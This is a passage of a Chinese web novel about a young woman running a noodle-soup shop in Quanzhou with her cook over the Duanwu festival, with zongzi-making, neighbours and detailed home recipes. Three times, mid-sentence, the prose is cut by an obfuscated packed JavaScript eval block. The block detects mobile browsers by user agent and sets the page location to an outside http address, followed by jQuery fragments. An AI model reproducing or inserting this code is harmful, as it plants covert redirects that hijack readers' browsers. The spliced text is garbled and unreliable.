一开始许东山还能慢悠悠地干活，苏月娘出完餐，灶头还能剩下四五碗，后来，客人们一窝蜂地涌了过来，许东山不得不加快速度干活，连手被煮粽水烫红了都顾不上察看。 …… 忙完中午这一阵，头家与厨子二人总算能歇一阵了。 今天生意具体好到什么程度？看厨房的地就知道了。 许东山是个爱干净的人，他不喜欢自己干活的地方脏兮兮的，平日里煮面线糊备料时，他总会边动锅边收拾厨房。 可今日他忙到没将剥下来的粽叶收拾妥当，黏黏糊糊的粽叶掉了一地。 “一百多个粽子就剩下十五个了，一会儿我上街再买点食材来包！”苏月娘亲自动手收拾满地狼藉。 “好。”许东山低头轻轻手背上摩挲被煮粽水烫出的红肿。 苏月娘瞥见他手背上的伤，忙放下拖把，走上前去察看，“许大哥，你的手不打紧吧？” “没事。”许东山翻手，藏起了手背上的烫伤。 “接下来几天来买肉粽的客人肯定会更多，如果这几天主打肉粽话，光咱们两个绑粽子肯定不行，我打算找一两个人来搭把手。” 许东山想了想，点头，“你有什么想法吗？” “我在这儿也没多少认识的人，所以找人这事儿还得许大哥帮帮忙！每绑十个粽子给三文钱，最好明天就能过来帮忙！” —— 马上就端午了，街上最不缺的就是包粽子的食材。 午后那会儿苏月娘趁着店里没生意出去定了一趟食材，待月娘面线糊店结束营业时，商贩们就将部分食材送上了门。 唯独少了最重要的糯米。 奈何苏月娘还急着要绑粽子，便只能放下洗了一半的碗，与许东山去米铺跑一趟。 虽说夏日昼长夜短，但人们依旧保持着原先的作息，在天还光亮时，厝头厝尾便已经准备起了晚饭，街上除了不知要归家的孩童，只余下零星几个正忙着收摊的商贩。 “今天晚上吃什么？”闻着四面八方涌来的饭菜香味，苏月娘忽然觉得有些饿了。 “我今天早上买了肉、丝瓜和花蛤，不如煮点米粉汤？” “现在天热，吃点清爽的正好！” 毕竟是近来风头无两的月娘面线糊店的头家和厨子，一路上，两人聊没两句，光和遇见的厝边打招呼。 苏月娘这人招人喜欢又很擅长与人话仙，她与人打了招呼，还会接着和人家聊两句。 许东山心里还惦记着要去扛糯米，见苏月娘与人正聊在兴头上，与苏月娘说了一声后便离开了。 许东山这人性子闷，又在少年时外出学艺、打仗，以至于他都二十好几了，还和大多数厝边不怎熟悉，他这一路走去，压根不会有人和他打招呼。 直到，他迎面撞上了卖完豆腐归家的红姑、阿生祖孙。 阿生这孩子走起路来一点都不专心，左蹦右跳四处乱看，还是红姑提醒他前面的人是许东山，他才停下脚步仰起头，朝着走近的许东山大声喊一句： “干爹！” 许东山捏了捏阿生的脸，目光落在红姑挎篮上。 挎篮里还有半篮子豆腐。 “今天生意不好吗？” 红姑叹气，“这两天有外面来的人在咱们这儿开了一家豆腐磨坊，他家的豆腐不比我的豆腐差，甚至卖得比我的便宜……” 红姑的豆腐是红姑每日天不亮走大老远的路去找别处的磨坊买来的，磨坊之间的定价差不了多少，红姑赚的也只是一些微薄的辛苦钱，她若是再将价钱调低，那她这生意做起来便是亏了。 许东山抿唇，正思索如何安慰红姑时，他忽然想起苏月娘拜托他找人绑粽子的事情。 “对了……这两天我们店里缺人手，伯母你愿意过来帮忙吗？” 红姑有些愣，她疑心许东山是想借缺人手的谎话来给自己塞钱。 她摆摆手，“阿山你没必要这样。” 还未等许东山说话，追上来的苏月娘大老远地就喊人：“许大哥！伯母！” 谁都不想让人知道自己私下的窘迫，红姑将篮子往身后藏了藏，用慈爱的笑容换下面上的忧愁。 “月娘头家出来买东西啊？” “是啊！出来扛糯米！” 许东山也趁机和苏月娘提了让红姑去当帮工的事情，“你刚才不是说这两天要找人去店里帮忙绑粽子吗？你看红姑伯母怎么样？” 苏月娘以为许东山已经帮她谈妥了，立即热情地对红姑道：“您能来帮忙那可太好了！工钱方面我一定不会让您吃亏的！” 红姑这才意识到许东山的话是真的，“我还以为阿山骗我的呢……” “每绑十个粽子三文钱，从明天干到初七，您看可以吗？” 炎炎夏日，挎着沉重的篮子带着调皮的孙子走街串巷地卖豆腐，说不辛苦是不可能的，更何况这两日的豆腐都卖不出去…… 还不如先去苏月娘那里绑粽子赚点钱缓缓，顺便瞧瞧接下来有什么合适的营生。 “好，明天透早我就去帮你们绑粽子！” 谈定了帮忙的事宜后，红姑还送了两人两块水豆腐。 还急着去搬糯米的头家与厨子没多做耽搁，与红姑阿生道了别后就离开了。 —— 这两日米铺也忙着做糯米生意，米铺头家见苏月娘和许东山找上门来才恍然发现自己误了送米的时辰。 当他要着急忙慌地安排伙计拉车送米时，才猛然发现伙计拉着车去给住在西街外的大户人家送货去了。 再三与苏月娘这个大客户道歉过后，米铺头家主动退还了苏月娘两成的米钱，并送了一小袋店里刚到的精米。 送的精米不说，苏月娘买的糯米不少，退到手的数额就十分可观。 拿到钱和米后，苏月娘毫无怨言地和许东山一起扛着米走了—— 说是一起扛，其实是许东山这个个高力气大的左右肩各扛一大袋糯米，脚步沉重地跟在后面，苏月娘怀里抱着那一小袋精米脚步轻快地走在前头。 到家之后，苏月娘帮着许东山卸下他肩头的两个大袋，还适时给许东山递上一杯凉水。 “去去辛苦，去去辛苦！”见许东山仰头喝水时，汗珠顺着他的面庞滴落，苏月娘连忙抓起搁在桌头的蒲扇给他扇风。 一杯凉水下肚，许东山的气才喘匀。 “你去洗把脸，我先去煮米粉汤！” 目送这个勤苦耐劳的厨子离开后，苏月娘才慢悠悠地摇着蒲扇往厨房走。 今天厨房里一片狼藉，清早买的食材都堆在台子角落。 苏月娘找了半天才找见许东山买的花蛤。 花蛤是海里捞起来的，离了咸水，花蛤基本不会冒头，所以今早许东山拎着花蛤回来的第一件事就是调一碗盐水将花蛤泡上。 泡了一日的花蛤沙子差不多吐干净了，苏月娘端着大碗去到院子里倒去沙水，那些胆小的花蛤一离开水又将伸长的脑袋缩了回去，直到苏月娘将它们清洗一遍都没能再见到他们的头。 处理好花甲，苏月娘找到一块瘦肉，瘦肉切成薄片，撒盐、少许酱油、两大勺地瓜粉揉成肉羹。 花蛤煮米粉汤大致有两种做法，炒香葱姜后加水与花蛤或是葱姜花蛤一起炒再加水煮。 后者那过了油的花蛤再煮容易使汤色发白，苏月娘不喜汤底颜色太过浑浊，便选择了前者那样更加清淡的做法。 热锅冷油炒香葱头与姜丝，待锅中油热、葱头变成轻微的焦色再加入两大瓢清水、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155099|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花蛤以及鱼丸。 水尚未沸腾，苏月娘在此空档给丝瓜削皮切滚刀块。 这还是今年头一批丝瓜，是清爽的青绿色，削了皮摸起来还有点儿水滑黏糊。 水滚之后，依次往锅中放入湖头米粉、肉羹、丝瓜块便可以盖上锅盖任其煮至全熟。 那边，许东山搬了凳子在后院里泡糯米、剪粽叶，米粉汤的香味从窗子里飘出来，他的五脏庙很是合时宜地叫嚣了起来。 他一边低头剪着粽叶梗，一边竖起耳朵听厨房里的动静。 待他听见掀锅盖的声音，他便站起身来，洗净双手，进屋给苏月娘搭把手了。 苏月娘正抓着个大海碗往里头铲米粉与配料，她对许东山很大方，光米粉和料就给堆了个小山。 许东山做饭或许还会斟酌一下食材的用量，但苏月娘不会，她每次都恨不能煮一大锅出来。 每每苏月娘下厨，许东山总是会吃撑。 “够了，够了……再弄点回去……”虽然许东山饿，但他也没饿到能吃这么多。 苏月娘尊重许东山的意见，用锅铲拨了一些回锅里，再用大木勺盛上三大勺汤，“这些够吧？” “够了。”许东山去取了筷，顺带给苏月娘带了一双。 不消多时，苏月娘捧着她的小碗出来了。 “锅里还有，记得再盛！毕竟今天晚上咱们两个还得再熬一段！” “好。”许东山饿得不行了，一应完他就抓起筷子吃米粉。 要说煮米粉汤，还是放丝瓜最合适，小白菜、香菜（1）等绿叶菜全然煮不出这种清甜爽滑的口感。 苏月娘低头抿一口鲜甜的汤，品味过后，喃喃道：“要是有蛏子就好了。” 许东山听见了她的低语，“下次再买。” 虽然蛏子并不能让汤底有什么大的变化，但是蛏子外形瘦长，肉面顺滑无凹凸，吃起来的口感会比花蛤好上不少。 当然，蛏子也比花蛤贵上不少，不然许东山也不会明知蛏子好吃还选择买花蛤。 —— 天才刚刚亮，红姑就带着阿生过来了。 这会儿，早起的苏月娘正坐在堂屋里包肉粽。 “你们家的料可真好！”红姑洗了手后，就做到苏月娘对面开始包粽子。 “大家都喜欢真本实料的东西。”苏月娘转过头，看阿生跃跃欲试，她笑道：“你也会包粽子吗？” 阿生虽然调皮，但是很有自知之明，他摇摇脑袋，“我要会的话我也来赚钱。” 苏月娘被阿生这一本正经的模样逗笑了。 “土地公前有包云片糕，你去拿下来吃！” 阿生看向红姑，红姑点点头，“吃一点点就好！” “谢谢月娘表姑！”阿生眉开眼笑地道了谢就去土地公那儿解了油纸包，掰下一叠云片糕后，他溜去厨房看他干爹干活。 这会儿，客人们上门来了。 “月娘头家！一个粽子这里吃！另外要十个生的走！”这是昨天那个外带一个粽子走的客人。 苏月娘手里头还捏着粽子，不便起身，反正是熟客了她也就没特地起来，“今天的粽子还没包好呢！要不你中午再来一趟？” “那就面线糊加鸡卷、醋肉、蛋菇吧！你一定得给我留十个生的！我傍晚从干货行回来顺路来取！” 这客人姓吴，是镇头干货行的头家。 “一定给你留着！不过你下午来的时候给我带点干贝和香菇干来！” 吴头家哈哈大笑，“你要的量不少吧？我折两成价卖你！” “多些吴头家了！” 接着，又有不少客人为了肉粽上门，得知肉粽还没做好时，有人和吴头家一样坐下来喝面线糊，有人干脆就走了。 不过，倒是有一人即将离开时，李金花站在二福面线糊店门口大嚷。 “别走！我家也卖肉粽，个头不比隔壁的差，还比隔壁的便宜！” 红姑听见外头的叫嚷声，面露担忧，“月娘，阿山他二婶这么做你会不会亏本啊……” 苏月娘笑着继续绑粽子，“她家粽子要能比我家的好，我改名叫苏日头。”（2） 15. 煎麦堆 不少客人都被李金花那一嗓子吆喝走了，苏月娘也不着急，还是坐在原位麻利地绑粽子。 有个原是来吃粽子的熟客，最后还是选择留着喝面线糊，他坐在苏月娘隔壁那张桌子，苏月娘笑着问道：“你怎么不去隔壁吃粽子啊？” 那人面露嫌弃，“隔壁那家什么德行我还是清楚的！她家的粽子不可能比你家的粽子划算！” “月娘头家，你的店才开一个多月，就压阿山他二婶一头，你可真是厉害！” 阿生不知道什么时候又从厨房溜回来了，他臭屁地凑在苏月娘身边眨了眨眼，“街上的人都说表姑漂亮又能干！我也是这么想的！” 会说话的小孩谁能不喜欢？苏月娘冲阿生亲昵地笑了笑。 因着隔壁的缘故，今早的生意并不算太好，不过到了中午，今日第一锅粽子出锅了，客人又多起来了。 苏月娘本要去给许东山打下手，但阿生这孩子自告奋勇地跑去干活。 还真别说，阿生这孩子端起碗碟来那叫一个四平八稳，面线糊没撒、粽子上的酱料也没歪斜。 “你就让阿生去干吧，他以前也经常过来这儿给阿山端碗！” 苏月娘见阿生干得这么好，也就没坚持着要去端碗，只是在心里想着，一会儿要给这个小帮工多少工钱。 月娘面线糊店的肉粽比昨日火爆一些，饭点过后，许东山清点了一下堆在灶头的草绳，今天中午生的熟的加起来一共卖了一百一十三个。 趁着现下没客人，许东山热了四颗粽子、煮了一盆丝瓜花蛤肉片汤做午饭。 汤出锅时，许东山偏头看向坐在灶边吃醋肉的阿生，“去喊你阿嬷和表姑洗手吃饭。” 阿生眼睛一亮，嘴里叼着一大块醋肉往外头跑去。 “阿嬷！表姑吃饭了！” 苏月娘和红姑绑好手头的粽子，一齐去后院冲手。 忙活了一天了，大家都饿得前胸贴后背的。 粽子与热汤一上桌，大家也没闲聊，埋头就是吃。 阿生五岁了，还是头一回吃到这么香的粽子，小小一个人，竟然将两个拳头那么大的肉粽吃了七成。 他撑得瘫在椅子上摸肚子，他感慨道：“在表姑这里干活真好！” 大家都笑阿生。 收拾碗筷时，又有一个客人上门了。 这客人是个生面孔，一进门就嚷嚷道：“哥！给我尝尝你家的肉粽！” 许东山听这声音不禁皱眉，苏月娘见许东山这幅表情，便转过头去瞧了一眼。 只见门边那张桌坐着个二十左右的小伙，长相还和许东山有点相似，但看起来瘦猴猴又流里流气的，观感可不如板板正正的许东山好。 “他你堂弟啊？”苏月娘依稀记得这么一张脸。 “嗯。”许东山看向许东石，冷声道：“付了钱再说！” 许东石目光落在许东山身边的苏月娘的身上。 白皙漂亮的头家长了一双柔情似水的圆眼，抹了口脂的唇红艳艳的，看着就比街上那些姑娘好看不知几百倍。 许东石咽了咽口水，“我是你堂弟，你还跟我计较这个！月娘头家，你看你家厨子做人这么小气！” 许东石直勾勾的眼神让苏月娘很是不适，她眉头一皱，“要么先交七文钱，要么现在出去。” 这可是李金花的儿子，无论怎么样，苏月娘都不会给他好脸色。 许东石这才不情不愿地从兜里搜刮出七个铜板拍在桌上。 许东山收了钱后，跟着苏月娘一起去厨房里捞粽子。 “他走之前你都不要出去，他不是什么好东西，以前还当街调戏过小姑娘。” 苏月娘的相貌就注定她抛头露面出来开店多少会碰到几个不正经的人。 虽说碰到就躲不是长久之计，但她在这个地方没什么根基，初来乍到的还是莫要生出什么事端为好。 苏月娘打量着许东山粗壮结实的臂膀，倒是心安得很。 “好，我先去洗碗。” 许东山端着肉粽出去，毫无感情地将木碗重重地放在许东石的面前。 就在许东山要走的时候，许东石忙拉住他。 “先别走！问你件事儿！” 许东山面露不耐地回过头。 许东石笑得猥琐，“哥，你表妹她定人家没有？要是没定我让我爹娘来提亲！” 听这话，许东山心里的火立马窜了起来。 许东山狠狠甩开许东石的手，低声警告道：“你什么东西你心里没点数？你要再敢打她的主意，我弄死你！” 许东石扫了眼许东山鼓鼓囊囊的肌肉，有些后怕地咽了咽口水。 前几年那场仗死伤无数，镇上去了九十三个青壮年，就活了四个回来，他堂哥就是其中一个，甚至是唯一一个全手全脚的。 许东石不敢吭声了。 —— 明日就端午了，今日外带的粽子比在店里吃的还多，傍晚闭店时，苏月娘清点了一番，今日粽子的销量竟高达四百五十二个。 一个粽子七文，多买还能看情况减免几文钱，这一日光靠卖粽子，竟然也挣了三千文钱。 加上卖面线糊的收入，今日也有个将近四千文。 帮着许东山煮今晚晚饭的红姑见到苏月娘挣了这么多钱，打心底为苏月娘开心。 不过苏月娘知道红姑家条件不好，为了让红姑更有积极性，苏月娘提前数出了属于红姑的工钱。 红姑还在弯腰添柴火时，苏月娘提着一串钱蹲到红姑身边去。 “伯母，今天您绑了四百九十个个粽子，每十个三文，一共是一百四十七文，这是您的工钱，收好了！” 看着被塞入自己兜里的那一大串钱，红姑惊得添柴的手都有些发抖。 “我……我这辈子都没有在一天之内赚过这么多钱……” “那可是因为您有本事！您看我忙活这一天也就绑了不到四百个！”苏月娘笑道：“往后三天可没那么赚了！您要做好准备！” 虽然如此，红姑还是很开心，“还是你这种聪明能干的少年家（1）厉害！” 红姑坐在灶边，苏月娘不知她瞧见红姑眼中的波光粼粼是跳动的火光还是晶莹的泪花。 给红姑付完工钱，苏月娘又去数了一串铜钱给跟在许东山身后当跟屁虫的阿生。 “这是你的工钱！” 阿生提着那一串大概有十五文那么多的工钱，满脸惊奇，他朝红姑晃了晃，“阿嬷，你看我挣钱了！” 红姑，“月娘你可不要给他钱！他今天也没帮上什么忙！” 苏月娘搓了搓阿生柔软的脸颊，“他今天可是帮了大忙了！给点是应该的！” 阿生笑眯眯地朝苏月娘鞠了个躬，“谢谢表姑！” —— 泉州人通常将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164096|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端午节叫做“五月节”。农历五月称“恶月”，禁忌诸多，亦仪式诸多。 天蒙蒙亮，许东山正要打水洗脸，苏月娘连忙从厨房里冲出来，眼疾手快地往他的脸盆里丢了一把洗干净的艾草。 “今天是五月节，得用艾草水洗脸！” 看着飘在水面的艾草，许东山点了点头，重新拧了擦脸巾，仔仔细细地给自己擦了个脸。 苏月娘站在原地盯着许东山收拾，等许东山洗漱好，她又从兜里掏出一个小荷包给他。 “端午不戴艾，死去会变妖怪。今天你都不许把这个艾包拿下来！” 那个荷包上的绣花还挺精致的，许东山翻看两眼，就将荷包拴在了裤腰上，“这个是你做的？” 苏月娘，“没那闲工夫，街上买的。” …… 红姑与阿生在开店前两刻钟过来了。 红姑手里头拎着几提粽子搁在灶头上，“你们吃了这么多天的肉粽也该腻味了，我给你们带点自己做的粳粽尝尝！” 阿生踮着脚尖，大声道：“我阿嬷做的粳粽可好吃了！表姑和干爹快尝尝！” “好，等你干爹煎好麦堆，表姑再一起尝尝你阿嬷做的粳粽！” 自古早时，闽南人便有在五月节煎堆补天的习俗，在个别百姓口中，当年女娲娘娘用的是麦堆补的天。 不管这个传说是不是真的，至少煎?补天的习俗也流传了千百年。 煎麦堆不是难事，一刻钟内就能搞定了。 许东山那边翻了翻两个大锅里的肉粽，才着手开始做煎麦堆。 备好的温水里放入两大勺红糖、一大勺白糖搅拌至糖融化，再放入适量的石磨麦粉，用筷子搅打出质地粘稠又具有流动性的麦糊便可以准备下锅煎制了。 苏月娘不爱吃太过油腻的东西，平日里油油脆脆的油条都非要在面线糊里彻底“淹死”才肯吃。 许东山头两锅都选择少油做法，锅里的油足够将麦?煎脆就成。 阿生和红姑自己在家吃过粽子来的，所以许东山象征性地一人给煎了一张小的了事。 最后，许东山的三张麦堆出锅，四人一起聚到堂屋里坐下。 本地人偏爱烧肉粽，每年五月节许多人家为了图省事索性只做烧肉粽一种，除非家中有爱吃甜的孩童央求，才会特意用草木灰滤水泡上一些糯米，绑几个粳粽给小孩子过过嘴瘾。 粳粽的标配是白糖或者是蜂蜜，大多数人通常只选其中一种作为蘸料，但苏月娘不会在吃食上委屈自己，她两种都准备了。 做粳粽的糯米在草木灰滤水中浸泡了一整夜，粽体呈现淡黄色，闻起来有一股碱水味儿。 苏月娘不喜欢这味儿，便将粽子裹上白糖，多少粽子裹上，她就咬多少。 有了甜味中和，碱味就没那么明显了。 裹了白糖的粳粽表皮沙脆，内里黏糊，吃起来滋味不错——但是蘸了蜂蜜便是里外皆黏，外头是蜂蜜的黏稠，内里是糯米的熟黏，滋味更比蘸白糖丰富。 粳粽不大，吃完一个，苏月娘的肚子还有空地收留煎麦堆。 许东山给她煎的麦堆油少皮脆正合她的心意，碗口大的红糖色麦堆略有厚度却不失柔韧，筷子便能够很轻易地将其对折夹起。 甜脆，且有嚼劲，但毕竟只是煎糖水面糊，丰富的口味与口感是不可能有的。 吃饱喝足，正是开店的时辰。 16. 插海蛏 有初三、初四两日打出的好名声，初五的生意自然好得一塌糊涂，而初六、初七、初八三日，生意虽然比不上初五那日的火爆，但也足够苏月娘赚上一大笔的了。 说起月娘面线糊的肉粽，便免不得也提一提隔壁二福面线糊的。 如干货行的吴头家所说，以李金花的德行，是绝对做不出比月娘面线糊的的肉粽更实惠更好的肉粽。 李金花家的生意在初四那一天跟做梦一样短暂红火了一下，初五那日，就又被打回了原形。 她家的烧肉粽个头虽然和苏月娘家的肉粽一样大，但用的肉多是肉末、一颗卤蛋恨不得掰给八颗粽子用，用吃过的客人的话来说那就是“一整颗肉粽扎扎实实的都是糯米”。 据说贪心的李金花一口气绑了三百颗粽子，最后就卖不到一百颗，剩下二百颗她咬咬牙一直卖到了初十，吃到了馊粽子的客人，气得差点没将她家的店给砸了。 当然，这是后话了。 —— 初九一大早，许春喜带着林大松回娘家转转。 林大松这个当妹婿的一进门就很自觉地撸起袖管进厨房打下手。 许东山见许春喜在厨房里的大橱小柜里东摸摸西看看，便从兜里掏出一串钱给她。 “想吃什么自己去买，记得给我头家买点蛏子。” 许春喜满脸惊奇地掂量着钱串，“哥你好大方啊！上个月赚了不少吧！” “快去，剩的钱都给你。” “还是我哥好，比林大松那个混蛋大方多了！”许春喜挽着许东山的胳膊用力地给他拍了拍马屁后，就拎起搁在案台上的篮子出门了。 正在洗抹布的林大松察觉到背后一道跟刀子一样的视线追随着自己。 他连忙丢下抹布给自己申冤，“大哥你听我解释！我就是看她上火了没给她买麦芽糖！平时她要什么我都是二话不说就掏钱的！” “最好是这样。”许东山意味不明地扫了他一眼后低头继续搅拌面线糊。 林大松看他那眼神，心里直犯嘀咕。 …… 既然是许东山请客，许春喜就不跟他客气，打街上逛了两圈，买足了两大筐的食材，若不是她提不动篮子了，不然她还得再多买一些。 “我回来了！快来搭把手！” 苏月娘听见许春喜的声音，忙将客人的面线糊送了过去，而后快步上前去给许春喜搭把手。 “看来今天中午有满汉全席吃了！” “林大松说他今天中午要给大家露一手！我肯定要给足他面子啊！” 许春喜将篮子放在空桌上，“也不知道你喜欢什么，就随便给你买了一点！” 看着不断被掏出的糕点、胭脂、香粉，苏月娘哭笑不得，“给我买东西做什么？这太破费了！” “反正花的我哥的钱，我就借花献佛了！”许春喜特意往厨房那儿张望了一眼，见许东山没往这儿看，她凑到苏月娘耳边低声道：“我哥碰上你这么个好头家是他的福气，你看他这一个月来捂得多白啊！肯定过不了多久就能娶到媳妇儿！” 捂白了？ 苏月娘回头瞧了一眼正在剪醋肉的许东山。 朝夕相处，她看不出他的变化，经许春喜这么一说，她才对比起她刚来那天见到的许东山。 看起来白了不少，而且，看起来也没那么凶了……看着也比以前俊多了。 难怪最近客人们都开始有意无意地和他闲聊了。 “你擅长和人打交道，就多帮着我哥问问！”许春喜叹息，“我爹闭眼的时候还在遗憾没看到我们兄妹俩成家……” 这话让苏月娘想起了自己爹临终前恳求她大伯帮着她找一户好人家嫁了……至于后来…… “你放心，这事儿包在我身上！” —— 有林大松和许春喜在，今天中午的满汉全席早早地就准备上了。 菜是许春喜买的，林大松凑到她身边问道：“春喜，你想吃什么？” “你自己说要露一手的，所以你自己看着办！还有，蛏子是月娘爱吃的，你记得问问月娘蛏子要怎么做。” 苏月娘甩着手从院子里回来了，林大松正好询问苏月娘的意见。 苏月娘只是喜好蛏子的口感，对怎么做蛏子并没有什么想法，最后只是让林大松自己发挥。 许春喜想吃“满汉全席”，就林大松一个人干肯定干不过来，当许东山第三次听见林大松抓鱼抓得叹气的时候，心软地将锅勺交给许春喜，自己转过身弯下腰，快准狠地一把掐着鱼身，将鱼给抓了起来。 面对大舅哥这无声的关爱，林大松呲着牙朝着许东山笑了笑，“谢谢大哥！” 许东山理都不理他，只是径直将走到案板边上，将鱼摁好，取刀用力地将还在奋力甩尾的鱼一刀拍晕。 就这么一下，那条鱼立刻不动了。 大概是被许东山拍死了。 “住笋江边（1）的人连条鱼都搞不定。”许东山皱着眉放下刀，“春喜马虎心大，容易卡刺，你把鱼刺剔干净了再下锅炖。” 许春喜听见这话，不满极了，“这都古早时的事了！你还拿出来讲！林大松你可不许把刺挑出来！” 林大松知道许春喜爱面子，他顺口道：“爱吞刺的是月娘，所以这刺还是得挑！” 苏月娘听力好，林大松话音刚落，在堂屋里擦桌子的苏月娘大声嚷嚷道：“你们两个恩爱就别扯上我了！” 厨房里的那对夫妻默契地看了对方一眼，随后又低下头嘿嘿笑。 两个人一笑，许东山就觉得自己碍事了。 他端着菜筐躲到院子里择菜去了。 …… 林大松仔仔细细地将三条黄花鱼剪鱼鳍鱼尾、掏内脏后比划了半天，才将鱼切成一个大片，把鱼刺剥了出来。 这鱼是海里刚出来的新鲜货，味道有些咸腥，林大松屏着气往鱼肉上撒上葱段生姜料酒去腥。 鱼汤要白，要点就是“煎鱼”。 鱼肉的腥味去掉了大半之后，锅正好烧热，林大松往锅里倒入花生油后用将腌制好的鱼肉铺在油里，等待两面鱼皮煎得干黄不粘锅底，就可以丢入大葱段和姜片、倒入滚水任其熬煮了。 许东山那边正给鱿鱼改花刀，在宴席班子当过学徒的人就是不一样，斜着手切鱿鱼就跟玩似的，刀深得当，格间均匀。 林大松又找着机会拍马屁，“这一看就是好几年的功夫！” “……” “春喜在家经常指着我的刀工骂我不中用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164097|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，所以每次给她炒鱿鱼我都只敢把鱿鱼切成圈！” 许东山，“……你去把芹菜切了，一会儿鱿鱼你来炒。” 赶走了这个烦人的妹婿后，许东山切鱿鱼的动作轻快多了。 将切好的鱿鱼推给林大松后，许东山走到后院去对着泡在油盐水里的蛏子思索了一会儿。 汤有了，定下来要炒着吃的菜也有四样了…… 这蛏子还是得想想别的做法。 许东山重新洗了遍蛏子后回到厨房里，见林大松正在切豆腐，他忽然就有了想法。 “豆腐还有吗？” 林大松指了指角落里的菜篮子，“那边还有一大块。” 许东山掀开盖在菜篮子上的布，里头一大块四四方方的老豆腐。 许东山找出一个宽宽大大的扁碗，将那块颜色发黄质地扎实的老豆腐切成一个指节厚的小块铺满碗底后，再将那盆蛏子触角朝下竖着插在豆腐上。 许春喜买的蛏子多，正好能结结实实地插满一碗。 这一碗插海蛏远远看上去跟个长了草的盆栽似的。 海蛏要保留原汁原味，调味能少下就尽量少下。 撒入一小撮盐增咸、一勺料酒一小把姜丝去腥，插蛏的调味就差不多了。 等林大松将所有菜炒好腾出锅来，许东山往锅中倒入滚水，架上蒸架，将那一碗插海蛏焖在锅中蒸煮。 饭点已经过了，苏月娘和许春喜闲下来盛饭端菜。 一样又一样的菜端出来，还坐在堂屋里喝面线糊的客人顿时觉得、面线糊都不香了。 “月娘头家，你就不考虑卖点别的！你家的炒菜可真香！” 苏月娘深知卖面线糊挣的就是辛苦钱，便笑着表示会考虑考虑做点别的。 最后一道上桌的菜是许东山做的插海蛏。 这道菜样式独特，一出场就吸引了所有人的注意力。 “刚刚我还想着要多煮一道汤或者是炒着吃呢！还是大哥有主意！” 许东山将这一道插海蛏摆放在了苏月娘面前。 “尝尝。” 这是桌上最原汁原味的一道菜，没有多余的油腥与配菜，只有切得头发丝似的姜丝与碧绿的葱花撒在蛏尾作为点缀。 苏月娘夹起一枚蛏子，用嘴一嗦，蛏子滑入口中，一口咬下去，柔软的蛏体破开，鲜甜的汁水爆满口腔。 蒸制的插海蛏最精华的部分并非蛏子而是蛏子蒸出来的汤汤水水。 苏月娘拔出两三枚蛏子，用汤勺盛了一勺老豆腐与汤汁小心吹凉后送入口中。 豆腐插蛏的做法苏月娘还是头一回见，没成想会比她想象中的惊艳。 老豆腐被汇聚海蛏精华的浓郁汤汁浸得没有了半点豆腥味，细腻的孔洞里也尽数藏满了汤汁，所谓鲜上加鲜，莫过如此。 两口下肚，苏月娘对这道菜赞不绝口。 许春喜听了苏月娘的话，正要夹芹菜炒鱿鱼的筷子愣是转了个弯，伸到了那碗插蛏上。 林大松瞪着眼，一连夹了两筷子被炒得跟花筒似的鱿鱼放到许春喜碗里。 “春喜你先尝尝我的菜啊！” 许春喜尝过了蛏子后，意犹未尽地看了看那碗插海蛏，而后毫不留情地将鱿鱼拨到了一边。 17. 南瓜咸饭 看着逐渐被消灭的豆腐插海蛏，林大松纳闷地一口接一口吃自己的炒的菜。 他想不明白，自己炒的菜明明也还可以，为什么妻子和表妹就是不夹呢？ 尤为出彩的豆腐插海蛏吃完，苏月娘和许春喜才开始吃林大松炒的菜。 虽然林大松的手艺放一般人里面也算是出彩的，但是和抡了十来年大锅的许东山比起来还是差点火候。 “大哥，我的手艺可是你传授的，没道理不好吃啊！” 许东山瞥了他一眼，“我只教过你怎么做大锅饭，其他菜你当然做得不好吃。” 两个人是在打仗的时候认识的，许东山在后勤营当厨子的那两个多月里，教会了林大松如何做大锅饭。 林大松看了一眼许春喜，笑道：“以后咱们回得勤快一些！大哥的手艺我一定得学会了！” 苏月娘听这话，筷子伸向林大松炒的猪肝。 品尝过后，苏月娘还是暗暗给予了表哥一个肯定。 还挺有模有样的，是个可造之材。 —— 傍晚，热闹了一天的月娘面线糊店冷清了下来。 许东山和苏月娘懒得再下大功夫吃完饭，就蒸了点粗粮饭，热了中午的剩菜应付了事。 大概是因为许春喜又走了，许东山心里头空落落的，打下午到现在，他一直有些沉默。 苏月娘也难得不怎么说话，她倒不是情绪不佳，而是在认真思索中午那客人说的话。 面线糊这生意在泉州城里实在普遍，光凤池镇上，就有四家卖面线糊的，虽然自家小店的生意是当中最好的，但谁也不能保证以后这镇上会不会冒出一家手艺更好的面线糊店？ 现在小店刚起步，才小赚了一笔银子，压根经不起她大刀阔斧地尝试，尤其是现在店里只有她和许东山两个人在做事。 